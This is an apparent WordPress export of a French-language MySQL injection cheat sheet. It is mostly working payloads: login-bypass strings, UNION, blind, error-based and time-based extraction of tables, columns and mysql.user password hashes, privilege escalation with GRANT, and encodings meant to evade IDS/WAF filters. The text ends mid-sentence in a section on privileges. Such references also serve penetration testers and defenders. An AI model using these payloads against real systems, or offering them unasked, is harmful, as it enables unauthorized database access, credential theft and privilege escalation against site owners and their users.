{"id":569,"date":"2013-02-19T16:10:09","date_gmt":"2013-02-19T14:10:09","guid":{"rendered":"https:\/\/www.asafety.fr\/?page_id=569"},"modified":"2015-11-13T12:14:32","modified_gmt":"2015-11-13T10:14:32","slug":"mysql-injection-cheat-sheet","status":"publish","type":"page","link":"https:\/\/www.asafety.fr\/en\/mysql-injection-cheat-sheet\/","title":{"rendered":"MySQL Injection Cheat Sheet"},"content":{"rendered":"<p><\/p>\n<h2>Introduction<\/h2>\n<p>Ce document recense de mani\u00e8re synth\u00e9tique et la plus compl\u00e8te possible, l&#8217;ensemble des vecteurs d&#8217;attaque pour des injections SQL (SQLi &amp; BSQLi) ciblant les bases de donn\u00e9es MySQL.<\/p>\n<p>Toutes les syntaxes, requ\u00eates, codes sources, PoC et exemples ont \u00e9t\u00e9 test\u00e9s et valid\u00e9s pour la production de cette synth\u00e8se.<\/p>\n<h2>Bases de donn\u00e9es par d\u00e9faut<\/h2>\n<table>\n<tbody>\n<tr>\n<td>mysql<\/td>\n<td>N\u00e9cessite les privil\u00e8ges root<\/td>\n<\/tr>\n<tr>\n<td>information_schema<\/td>\n<td>Disponible depuis la version 5<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Tester une injection<\/h2>\n<h3>Injection dans une cha\u00eene de caract\u00e8res<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;[INJ]&#8217;;[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>&#8216;<\/td>\n<td>Simple quote x1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>&#8216; &#8216;<\/td>\n<td>Simple quote x2<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>&#8220;<\/td>\n<td>Double quote x1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>&#8220;&#8221;<\/td>\n<td>Double quote x2<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>\\<\/td>\n<td>Backslash x1<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>\\\\<\/td>\n<td>Backslash x2<\/td>\n<td>True<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;xxx&#8221;&#8217;;<br \/>\nSELECT * FROM Table WHERE data = &#8216;1&#8221;&#8221;&#8221;&#8221;&#8221;&#8217;UNION SELECT &#8216;2&#8217;;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Il est possible d&#8217;utiliser autant d&#8217;apostrophe (<em>quote<\/em>) et de\u00a0guillemet (<em>double-quote<\/em>)\u00a0tant qu&#8217;ils vont par paire.<\/li>\n<li>Il est possible de continuer la requ\u00eate \u00e0 la suite d&#8217;une cha\u00eene de quote.<\/li>\n<li>Une quote \u00e9chappe une seconde quote, d&#8217;o\u00f9 le cha\u00eenage par paire.<\/li>\n<\/ul>\n<h3>Injection par valeurs num\u00e9riques<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = [INJ];[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>AND 1<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>AND 0<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>AND true<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>AND false<\/td>\n<td>False<\/td>\n<\/tr>\n<tr>\n<td>1-false<\/td>\n<td>Retourne 1 si vuln\u00e9rable<\/td>\n<\/tr>\n<tr>\n<td>1-true<\/td>\n<td>Retourne 0 si vuln\u00e9rable<\/td>\n<\/tr>\n<tr>\n<td>1*1337<\/td>\n<td>Retourne 1337 si vuln\u00e9rable<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Format num\u00e9riques valides :<\/strong><\/p>\n<p>Chacune de ces techniques peut servir d&#8217;\u00e9vasion d&#8217;expressions r\u00e9guli\u00e8res d&#8217;IDS\/WAF.<\/p>\n<table>\n<tbody>\n<tr>\n<td><code>digits<\/code><\/td>\n<td>1337<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]<\/code><\/td>\n<td>1337.<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits<\/code><\/td>\n<td>13.37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[eE]digits<\/code><\/td>\n<td>13e37, 13E37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[eE][+-]digits<\/code><\/td>\n<td>13e-37, 13E+37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.][eE]digits<\/code><\/td>\n<td>13.e37<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits[eE]digits<\/code><\/td>\n<td>13.3E7<\/td>\n<\/tr>\n<tr>\n<td><code>digits[.]digits[eE][+-]digits<\/code><\/td>\n<td>13.3e-7<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits<\/code><\/td>\n<td>.1337<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits[eE]digits<\/code><\/td>\n<td>.13e37<\/td>\n<\/tr>\n<tr>\n<td><code>[.]digits[eE][+-]digits<\/code><\/td>\n<td>.13E-37<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Expressions math\u00e9matiques \u00e9quivalentes :<\/strong><\/p>\n<p>Pour des injections \u00e9quivalentes au\u00a0traditionnel\u00a0&#8220;OR 1=1&#8221;, les syntaxes suivantes (et d\u00e9riv\u00e9es) peuvent \u00eatre utilis\u00e9es :<\/p>\n<p>[sql]<br \/>\nCOS(0)=SIN(PI()\/2)<br \/>\nCOS(@@VERSION)=SIN(@@VERSION+PI()\/2)<br \/>\n[\/sql]<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = 3+1337;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le bool\u00e9en true \u00e9quivaut \u00e0 l&#8217;entier 1<\/li>\n<li>Le bool\u00e9en false \u00e9quivaut \u00e0 l&#8217;entier 0<\/li>\n<\/ul>\n<h3>Injection dans un formulaire de connexion\/login<\/h3>\n<p><strong>Pour la requ\u00eate suivante :<\/strong><\/p>\n<p>[sql]SELECT * FROM Users WHERE username = &#8216;admin&#8217; AND password = &#8216;[INJ]&#8217;;[\/sql]<\/p>\n<p><strong>Injections :<\/strong><\/p>\n<p>[sql]&#8217; OR 1 &#8212; &#8211;<br \/>\n&#8216; OR &#8221; = &#8216;<br \/>\n&#8216; OR 1 = 1 &#8212; &#8211;<br \/>\n&#8216;=&#8217;<br \/>\n&#8216;LIKE&#8217;<br \/>\n&#8216;=0&#8211;+[\/sql]<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Users WHERE username = &#8216;admin&#8217; AND password = &#8221; OR &#8221; = &#8221;;[\/sql]<\/p>\n<h2>Commenter la fin d&#8217;une requ\u00eate<\/h2>\n<p>Les syntaxes suivantes peuvent \u00eatre utilis\u00e9es pour commenter (d\u00e9sactiver) la fin d&#8217;une requ\u00eate \u00e0 la suite d&#8217;une injection :<\/p>\n<table>\n<tbody>\n<tr>\n<td>#<\/td>\n<td>Hash commentaire<\/td>\n<\/tr>\n<tr>\n<td>\/*<\/td>\n<td>C-style commentaire<\/td>\n<\/tr>\n<tr>\n<td>&#8212; &#8211;<\/td>\n<td>SQL commentaire<\/td>\n<\/tr>\n<tr>\n<td>;%00<\/td>\n<td>Nullbyte,fin de cha\u00eene<\/td>\n<\/tr>\n<tr>\n<td>`<\/td>\n<td>backtick<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<br \/>\nSELECT * FROM Table WHERE username = &#8221; OR 1=1\u00a0&#8212; -&#8216; AND password = &#8221;;<br \/>\nSELECT * FROM Table\u00a0WHERE data = &#8221; UNION SELECT 1, 2, 3`&#8217;;<br \/>\n[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le <em>backtick<\/em> ne peut \u00eatre utilis\u00e9 qu&#8217;en terminaison d&#8217;une requ\u00eate utilis\u00e9e comme un alias.<\/li>\n<\/ul>\n<h2>Test de version MySQL<\/h2>\n<ul>\n<li>VERSION()<\/li>\n<li>@@VERSION<\/li>\n<li>@@GLOBAL.VERSION<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Tables WHERE data = &#8216;1&#8217; AND MID(VERSION(),1,1) = &#8216;5&#8217;; &#8212; true if MySQL 5<br \/>\nSELECT@@version &#8212; shorter than SELECT VERSION()[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>La cha\u00eene de caract\u00e8res correspondante \u00e0 la version retourn\u00e9e peut contenir &#8220;-nt-log&#8221; dans le cas d&#8217;un d\u00e9ploiement du serveur SQL sous un environnement Windows.<\/li>\n<li>Ces mots-cl\u00e9s et fonctions ne sont pas sensibles \u00e0 la casse.<\/li>\n<\/ul>\n<h2>Cr\u00e9dentiels de la base de donn\u00e9es<\/h2>\n<ul>\n<li>Table (privil\u00e8ges root requis) : mysql.user<\/li>\n<li>Colonnes : user, password<\/li>\n<li>Utilisateur courant : user(), current_user(), current_user, system_user(), session_user()<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<br \/>\nSELECT current_user;<br \/>\nSELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = &#8216;root&#8217;&#8211; (Privileged)[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Mots-cl\u00e9s et fonctions insensibles \u00e0 la casse.<\/li>\n<\/ul>\n<h2>Gestion des utilisateurs<\/h2>\n<p>Chacune de ces requ\u00eates de gestion des utilisateurs n\u00e9cessite des droits.<\/p>\n<h3>Cr\u00e9ation d&#8217;un nouvel utilisateur<\/h3>\n<p>[sql]CREATE USER login IDENTIFIED BY &#8216;password&#8217;;[\/sql]<\/p>\n<h3>Suppression d&#8217;un utilisateur<\/h3>\n<p>[sql]DROP USER login;[\/sql]<\/p>\n<h3>Escalade de privil\u00e8ge d&#8217;un utilisateur<\/h3>\n<p>[sql]GRANT ALL PRIVILEGES ON *.* TO login@\u2019%&#8217;;[\/sql]<\/p>\n<h2>Noms des bases de donn\u00e9es<\/h2>\n<ul>\n<li>Tables : mysql.db (privil\u00e8ges root requis), information_schema.schemata (MySQL &gt;= 5)<\/li>\n<li>Colonnes : db, schema_name<\/li>\n<li>Base de donn\u00e9es courante : database(), schema()<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<\/p>\n<p>SELECT database();<br \/>\nSELECT schema_name FROM information_schema.schemata;<br \/>\nSELECT DISTINCT(db) FROM mysql.db;&#8211; (Privileged)[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Fonctions non sensibles \u00e0 la casse.<\/li>\n<\/ul>\n<h2>Nom d&#8217;h\u00f4te du serveur<\/h2>\n<ul>\n<li>@@HOSTNAME<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT @@hostname;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Mot-cl\u00e9 insensible \u00e0 la casse.<\/li>\n<\/ul>\n<h2>Serveur UID et adresse MAC<\/h2>\n<p>L&#8217;UUID (<em>Universally Unique Identifier<\/em>) est un nombre sur 128 bits form\u00e9 \u00e0 partir de l&#8217;adresse MAC de l&#8217;interface en \u00e9coute.<\/p>\n<ul>\n<li>UUID()<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[bash]aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;[\/bash]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Les 12 derni\u00e8res caract\u00e8res repr\u00e9sent\u00e9 par la lettre &#8220;e&#8221; correspondent \u00e0 l&#8217;adresse MAC.<\/li>\n<li>Certains OS retournent 48 bits al\u00e9atoires \u00e0 la place de l&#8217;adresse MAC, ce n&#8217;est pas le cas de Windows.<\/li>\n<li>Fonction insensible \u00e0 la casse.<\/li>\n<\/ul>\n<h2>Tables et colonnes<\/h2>\n<h3>D\u00e9terminer le nombre de colonnes<\/h3>\n<h4>Via &#8220;order by&#8221;<\/h4>\n<ul>\n<li>ORDER BY N+1;<\/li>\n<\/ul>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Continuer d&#8217;incr\u00e9menter la valeur de N jusqu&#8217;\u00e0 ce que la r\u00e9ponse soit false (une erreur).<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>Pour la requ\u00eate suivante :<\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;[INJ]&#8217;;[\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>1&#8242; ORDER BY 1&#8211;+<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; ORDER BY 2&#8211;+<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; ORDER BY 3&#8211;+<\/td>\n<td>True<\/td>\n<\/tr>\n<tr>\n<td>1&#8242; ORDER BY 4&#8211;+<\/td>\n<td>False &#8211; La requ\u00eate ne dispose que de 3 colonnes<\/td>\n<\/tr>\n<tr>\n<td>-1&#8242; UNION SELECT 1,2,3&#8211;+<\/td>\n<td>True<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>Via les erreurs<\/h4>\n<p>[sql]AND (SELECT * FROM SOME_EXISTING_TABLE) = 1[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Cette syntaxe fonctionne si l&#8217;on connait le nom de la table dont on cherche le nombre de colonnes ; et si l&#8217;affichage des erreurs est activ\u00e9.<\/li>\n<li>La requ\u00eate retournera une erreur indiquant le nombre de colonnes dans la table, et non pas la requ\u00eate en elle-m\u00eame.<\/li>\n<\/ul>\n<p><strong>Exemple :<\/strong><\/p>\n<p>[sql]SELECT * FROM Tables WHERE data = [INJ][\/sql]<\/p>\n<p>Avec l&#8217;injection :<\/p>\n<p>[sql]AND (SELECT * FROM Unknown_Table) = 1[\/sql]<\/p>\n<p>Erreur retourn\u00e9e :<\/p>\n<blockquote><p>Operand should contain 3 column(s)<\/p><\/blockquote>\n<h3>R\u00e9cup\u00e9rer le nom des tables<\/h3>\n<h4>Via &#8220;Union&#8221;<\/h4>\n<p>[sql]UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Version=9 pour MySQL v4<\/li>\n<li>Version=10 pour MySQL v5<\/li>\n<\/ul>\n<h4>En mode aveugle &#8220;Blind&#8221;<\/h4>\n<p>[sql]AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables &amp;amp;gt; &#8216;A&#8217;;<br \/>\nAND 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA=&amp;amp;quot;myDB&amp;amp;quot; AND table_name REGEXP &#8216;^[a-z]&#8217; LIMIT 0,1)<br \/>\n[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Appliquer un algorithme dichotomique sur la premi\u00e8re requ\u00eate pour optimiser le temps de recherche et le trafic r\u00e9seau (O(log n)).<\/li>\n<li>Privil\u00e9gier la seconde pour r\u00e9duire encore le nombre de requ\u00eate.<\/li>\n<\/ul>\n<h4>Via les erreurs<\/h4>\n<p>[sql]AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT(SELECT(SELECT DISTINCT CONCAT(0x7e,0x27,CAST(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema='[DB_NAME]&#8217; LIMIT N,1)) FROM information_schema.tables LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Indiquer le nom de la base de donn\u00e9es dont les noms des tables sont \u00e0 extraire.<\/li>\n<li>Faire \u00e9voluer la valeur de N de 0 \u00e0 X pour r\u00e9cup\u00e9rer le nom de chaque table dans les erreurs.<\/li>\n<\/ul>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>#1062 &#8211; Duplicate entry &#8216;~&#8217;myTable&#8217;~1&#8217; for key &#8216;group_key&#8217;<\/p><\/blockquote>\n<p>[sql]AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT N,1)));&#8211; Available in 5.1.5[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>#1105 &#8211; XPATH syntax error: &#8216;\\myTable&#8217;<\/p><\/blockquote>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Cette seconde m\u00e9thode, pr\u00e9sente depuis MySQL 5.1.5, ne n\u00e9cessite pas de nom de base.<\/li>\n<li>Faire \u00e9voluer la valeur de N de 0 \u00e0 X pour r\u00e9cup\u00e9rer le nom de chaque table dans les erreurs.<\/li>\n<\/ul>\n<h3>R\u00e9cup\u00e9rer le nom des colonnes<\/h3>\n<h4>Via &#8220;Union&#8221;<\/h4>\n<p>[sql]UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = &#8216;tablename'[\/sql]<\/p>\n<h4>En mode aveugle &#8220;Blind&#8221;<\/h4>\n<p>[sql]AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns &amp;amp;gt; &#8216;A'[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Appliquer un algorithme dichotomique pour optimiser les requ\u00eates, le temps de recherche et le trafic r\u00e9seau (O(log n)).<\/li>\n<\/ul>\n<h4>Via les erreurs<\/h4>\n<p>[sql]AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT(SELECT(SELECT DISTINCT CONCAT(CAST(column_name as char)) FROM information_schema.columns WHERE table_schema='[DB NAME]&#8217; AND table_name='[TABLE_NAME]&#8217; LIMIT N,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Indiquer le nom de la base de donn\u00e9es cible, ainsi que le nom de la table dans laquelle extraire les colonnes.<\/li>\n<li>Faire \u00e9voluer la valeur de N de 0 \u00e0 X pour r\u00e9cup\u00e9rer le nom de chaque colonne dans les erreurs.<\/li>\n<\/ul>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>#1062 &#8211; Duplicate entry &#8216;myColumn&#8217; for key &#8216;group_key&#8217;<\/p><\/blockquote>\n<p>[sql]AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT N,1)));&#8211; Available in MySQL 5.1.5[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Cette seconde m\u00e9thode, pr\u00e9sente depuis MySQL 5.1.5, ne n\u00e9cessite pas de nom de base ni de nom de table.<\/li>\n<li>Faire \u00e9voluer la valeur de N de 0 \u00e0 X pour r\u00e9cup\u00e9rer le nom de chaque colonne dans les erreurs.<\/li>\n<\/ul>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<blockquote><p>#1105 &#8211; XPATH syntax error: &#8216;\\myColumn&#8217;<\/p><\/blockquote>\n<h4>Via la proc\u00e9dure &#8220;ANALYSE()&#8221;<\/h4>\n<ul>\n<li>PROCEDURE ANALYSE()<\/li>\n<\/ul>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Il est n\u00e9cessaire que l&#8217;application (web) vuln\u00e9rable \u00e0 l&#8217;injection SQL affiche la premi\u00e8re colonne r\u00e9sultante de la requ\u00eate.<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>Pour la requ\u00eate suivante :<\/p>\n<p>[sql]SELECT * FROM Table WHERE data=[INJ][\/sql]<\/p>\n<table>\n<tbody>\n<tr>\n<td>1 PROCEDURE ANALYSE()<\/td>\n<td>R\u00e9cup\u00e8re le nom de la premi\u00e8re colonne de la table<\/td>\n<\/tr>\n<tr>\n<td>1 LIMIT 1,1 PROCEDURE ANALYSE()<\/td>\n<td>R\u00e9cup\u00e8re le nom de la seconde colonne<\/td>\n<\/tr>\n<tr>\n<td>1 LIMIT 2,1 PROCEDURE ANALYSE()<\/td>\n<td>R\u00e9cup\u00e8re le nom de la troisi\u00e8me colonne&#8230;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>R\u00e9cup\u00e9rer plusieurs tables\/colonnes en une fois<\/h3>\n<h4>Technique n\u00b01<\/h4>\n<p>[sql]SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&amp;amp;gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,&#8217; [ &#8216;,table_schema,&#8217; ] &amp;amp;gt;&#8217;,table_name,&#8217; &amp;amp;gt; &#8216;,column_name))))x[\/sql]<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT * FROM Table WHERE data = &#8216;-1&#8242; UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&amp;amp;gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,&#8217; [ &#8216;,table_schema,&#8217; ] &amp;amp;gt;&#8217;,table_name,&#8217; &amp;amp;gt; &#8216;,column_name))))x), 4&#8211;+&#8217;;[\/sql]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<p>[bash]<br \/>\n[ information_schema ] &amp;amp;gt;CHARACTER_SETS &amp;amp;gt; CHARACTER_SET_NAME<br \/>\n[ information_schema ] &amp;amp;gt;CHARACTER_SETS &amp;amp;gt; DEFAULT_COLLATE_NAME<br \/>\n[ information_schema ] &amp;amp;gt;CHARACTER_SETS &amp;amp;gt; DESCRIPTION<br \/>\n[ information_schema ] &amp;amp;gt;CHARACTER_SETS &amp;amp;gt; MAXLEN<br \/>\n[ information_schema ] &amp;amp;gt;COLLATIONS &amp;amp;gt; COLLATION_NAME<br \/>\n[ information_schema ] &amp;amp;gt;COLLATIONS &amp;amp;gt; CHARACTER_SET_NAME<br \/>\n[ information_schema ] &amp;amp;gt;COLLATIONS &amp;amp;gt; ID<br \/>\n[ information_schema ] &amp;amp;gt;COLLATIONS &amp;amp;gt; IS_DEFAULT<br \/>\n[ information_schema ] &amp;amp;gt;COLLATIONS &amp;amp;gt; IS_COMPILED<br \/>\n[\/bash]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le r\u00e9sultat est sous la forme d&#8217;un fichier BLOB s&#8217;il est cons\u00e9quent.<\/li>\n<\/ul>\n<h4>Technique n\u00b02<\/h4>\n<p>[sql]SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns[\/sql]<\/p>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]SELECT column FROM Table WHERE data = &#8216;-1&#8242; UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns&#8211;+&#8217;;[\/sql]<\/p>\n<p>R\u00e9sultats :<\/p>\n<p>[sql]<br \/>\nTable: myTable1<br \/>\nColumn: login<\/p>\n<p>Table: myTable1<br \/>\nColumn: userid<\/p>\n<p>Table: myTable1<br \/>\nColumn: password<\/p>\n<p>Table: myTable2<br \/>\nColumn: data<br \/>\n[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le formatage de sortie est en HTML, avec des retours \u00e0 la ligne pour un meilleur affichage.<\/li>\n<\/ul>\n<h3>Trouver des tables \u00e0 partir d&#8217;une colonne<\/h3>\n<p>[sql]SELECT table_name FROM information_schema.columns WHERE column_name = &#8216;myColumn&#8217;;<br \/>\nSELECT table_name FROM information_schema.columns WHERE column_name LIKE &#8216;%Col%&#8217;;[\/sql]<\/p>\n<h3>Trouver des colonnes \u00e0 partir d&#8217;une table<\/h3>\n<p>[sql]SELECT column_name FROM information_schema.columns WHERE table_name = &#8216;myTable&#8217;;<br \/>\nSELECT column_name FROM information_schema.columns WHERE table_name LIKE &#8216;%Tab%&#8217;;[\/sql]<\/p>\n<h2>R\u00e9cup\u00e8re les requ\u00eates courantes<\/h2>\n<p>[sql]SELECT info FROM information_schema.processlist[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Disponible depuis MySQL 5.1.7<\/li>\n<\/ul>\n<h2>\u00c9viter l&#8217;utilisation des quotes<\/h2>\n<h3>Encodage en hexad\u00e9cimal<\/h3>\n<p>[sql]SELECT * FROM Users WHERE username = 0x61646D696E;<br \/>\nSELECT * FROM Users WHERE username = x&#8217;61646D696E&#8217;; &#8212; use quotes<br \/>\n[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le pr\u00e9fixe &#8220;0x&#8221; d&#8217;une cha\u00eene encod\u00e9e en hexad\u00e9cimal est sensible \u00e0 la casse ; alors que le pr\u00e9fixe &#8220;x'&#8221; ne l&#8217;est pas.<\/li>\n<li>Une cha\u00eene vierge en notation hexad\u00e9cimale ne peut se noter 0x, mais x&#8221;.<\/li>\n<li>Attention, &#8220;SELECT 0x6164&#8221; est une cha\u00eene de caract\u00e8res, mais &#8220;SELECT 0x61+0x64&#8221; est un entier.<\/li>\n<\/ul>\n<h3>Fonction CHAR()<\/h3>\n<p>[sql]SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)[\/sql]<\/p>\n<h3>Encodage en binaire<\/h3>\n<p>[sql]<br \/>\nSELECT * FROM Users WHERE username = 0b0110000101100100011011010110100101101110;<br \/>\nSELECT * FROM Users WHERE username = b&#8217;0110000101100100011011010110100101101110&#8242;; &#8212; use quotes[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>Le pr\u00e9fixe &#8220;0b&#8221; d&#8217;une cha\u00eene encod\u00e9e en binaire est sensible \u00e0 la casse ; alors que le pr\u00e9fixe &#8220;b'&#8221; ne l&#8217;est pas.<\/li>\n<li>Une cha\u00eene vierge en notation binaire ne peut se noter 0b, mais b&#8221;.<\/li>\n<\/ul>\n<h2>Concat\u00e9nation de cha\u00eene de caract\u00e8res<\/h2>\n<p>[sql]<\/p>\n<p>SELECT &#8216;a&#8217; &#8216;d&#8217; &#8216;mi&#8217; &#8216;n&#8217;;<br \/>\nSELECT &#8216;ad&#8217; &amp;amp;quot;min&amp;amp;quot;;<br \/>\nSELECT &#8216;a&#8217; &#8216;d&#8217; &#8216;mi&#8217; &#8216;n&#8217;;<br \/>\nSELECT CONCAT(&#8216;a&#8217;, &#8216;d&#8217;, &#8216;m&#8217;, &#8216;i&#8217;, &#8216;n&#8217;);<br \/>\nSELECT CONCAT_WS(&#8221;, &#8216;a&#8217;, &#8216;d&#8217;, &#8216;m&#8217;, &#8216;i&#8217;, &#8216;n&#8217;);<br \/>\nSELECT GROUP_CONCAT(&#8216;a&#8217;, &#8216;d&#8217;, &#8216;m&#8217;, &#8216;i&#8217;, &#8216;n&#8217;);<\/p>\n<p>[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>CONCAT() retourne NULL si au moins un de ses arguments est NULL. Pr\u00e9f\u00e9rer CONCAT_WS() (<em>with separator<\/em>).<\/li>\n<li>Le premier argument de CONCAT_WS() d\u00e9fini le s\u00e9parateur pour le reste des arguments.<\/li>\n<\/ul>\n<h2>Les requ\u00eates conditionnelles<\/h2>\n<ul>\n<li>CASE<\/li>\n<li>IF()<\/li>\n<li>IFNULL()<\/li>\n<li>NULLIF()<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]<br \/>\nSELECT IF(1=1, true, false);<br \/>\nSELECT CASE WHEN 1=1 THEN true ELSE false END;[\/sql]<\/p>\n<h2>Gestion du temps<\/h2>\n<ul>\n<li>SLEEP() (MySQL v5.0.12)<\/li>\n<li>BENCHMARK() (MySQL v4 et v5)<\/li>\n<\/ul>\n<p><strong>Exemples :<\/strong><\/p>\n<p>[sql]&#8217; &#8211; (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(&#8216;true&#8217;)), false)) &#8211; &#8216;[\/sql]<\/p>\n<p><strong>Remarques :<\/strong><\/p>\n<ul>\n<li>L&#8217;utilisation du temps de r\u00e9ponse en for\u00e7ant le serveur SQL \u00e0 ex\u00e9cuter des calculs de benchmark() ou \u00e0 faire un sleep() est une technique couramment utilis\u00e9e pour les injections SQL en aveugle (BSQLi). Le temps de r\u00e9ponse de l&#8217;application cibl\u00e9e joue le r\u00f4le d&#8217;un bool\u00e9en (court = true, long = false).<\/li>\n<\/ul>\n<h2>Privil\u00e8ges et droits<\/h2>\n<p>Les requ\u00eates qui suivent permettent de d\u00e9terminer si un utilisateur dispose du privil\u00e8ge &#8220;FILE&#8221; ou listent tous les privil\u00e8ges.<\/p>\n<p>Les privil\u00e8ges root sont requis, compatible MySQL v4 